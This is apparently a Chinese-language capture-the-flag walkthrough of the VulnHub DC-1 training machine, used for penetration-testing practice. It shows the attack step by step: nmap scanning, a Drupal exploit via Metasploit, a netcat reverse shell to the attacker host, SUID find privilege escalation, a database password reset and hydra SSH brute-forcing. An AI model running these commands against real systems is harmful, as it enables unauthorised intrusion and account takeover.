01 环境搭建
- 靶机环境下载:https://www.vulnhub.com/entry/dc-1,292/
- 题目信息如下,环境中有flag文件,里面有hint
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
02 信息收集
将靶机环境恢复到virtualbox
之后,开始第一步信息收集工作。
发现靶机
查看攻击机的ip为192.168.56.1
(环境恢复时采用Host-Only Adapter)
使用nmap
扫描网段内的ip地址
nmap -sP 192.168.56.1/24
扫描发现的192.168.56.16
就是目标靶机的ip地址。
端口扫描
使用nmap
对目标靶机开放的端口进行扫描
nmap -Pn -n -sV 192.168.56.16
发现目标靶机开放了3个tcp端口,22,80,111。
遍历目录
访问80端口,是一个drupal登录页面。
使用dirb
扫描web目录,没有发现特殊的目录,文件。
03 Get Shell
metasploit
使用metasploit
搜索drupal的poc,挨个尝试,发现unix/webapp/drupal_drupalgeddon2
可以打成功,获取到shell
exploitdb
搜索exploitdb
有个创建管理员账户的poc,新增一个test/test账户。
使用test账户登录drupal,进入module管理页面
导入shell module
进入shell指令页面,可以执行linux命令
执行反弹shell命令,即可在本地获得shell
nc 192.168.56.1 4444 -e /bin/sh
04 提权
获取tty
python -c "import pty;pty.spawn('/bin/bash');"
搜索suid
程序
find / -user root -perm -4000 -print 2>/dev/null
发现包含find
使用find的-exec
可以提权到root
find ./ -exec "/bin/sh" \;
在root目录下发现最终的flag
05 其他flag
flag1
在获取到shell时,查看当前目录可以发现一个flag1.txt
文件。
flag2
根据flag1的提示,查看drupal的配置文件。drupal的配置文件在sites/default/settings.php
在配置文件中发现flag2,且其中还有数据库的账户dbuser/R0ck3t
flag3
使用数据库账户登录数据库,查看数据库和表
mysql -u dbuser -p
里面有个users
的表
可以根据pass来爆破账户密码。不过flag2中提示不用爆破的方式。通过更新数据库来更改admin
账户密码。直接通过openssl产生hash密码更新后,登录失败。查询后发现需要通过调用user_hash_password
来生成密码。http://drupalchina.cn/forum/1215.html
打开网站首页的index.php。然后把下面一段代码放进去
require_once ‘includes/password.inc’;
echo user_hash_password(‘admin123′);
die();
访问首页就可以得到admin123
的密文。
用update
命令更新admin
账户的密码
登录后发现flag3
flag4
根据flag3提示,查看passwd
。
发现有一个flag4账户。尝试访问/home/flag4
目录,有权限,能获取到flag4
如果要提权到root,就根据flag3提示,搜索suid
,具体见上文04 提权
看了其他poc,发现还可以用hydra
来爆破flag4账户到密码
hydra -l flag4 -P rockyou,txt 192.168.56.16 ssh
最后密码为orange
。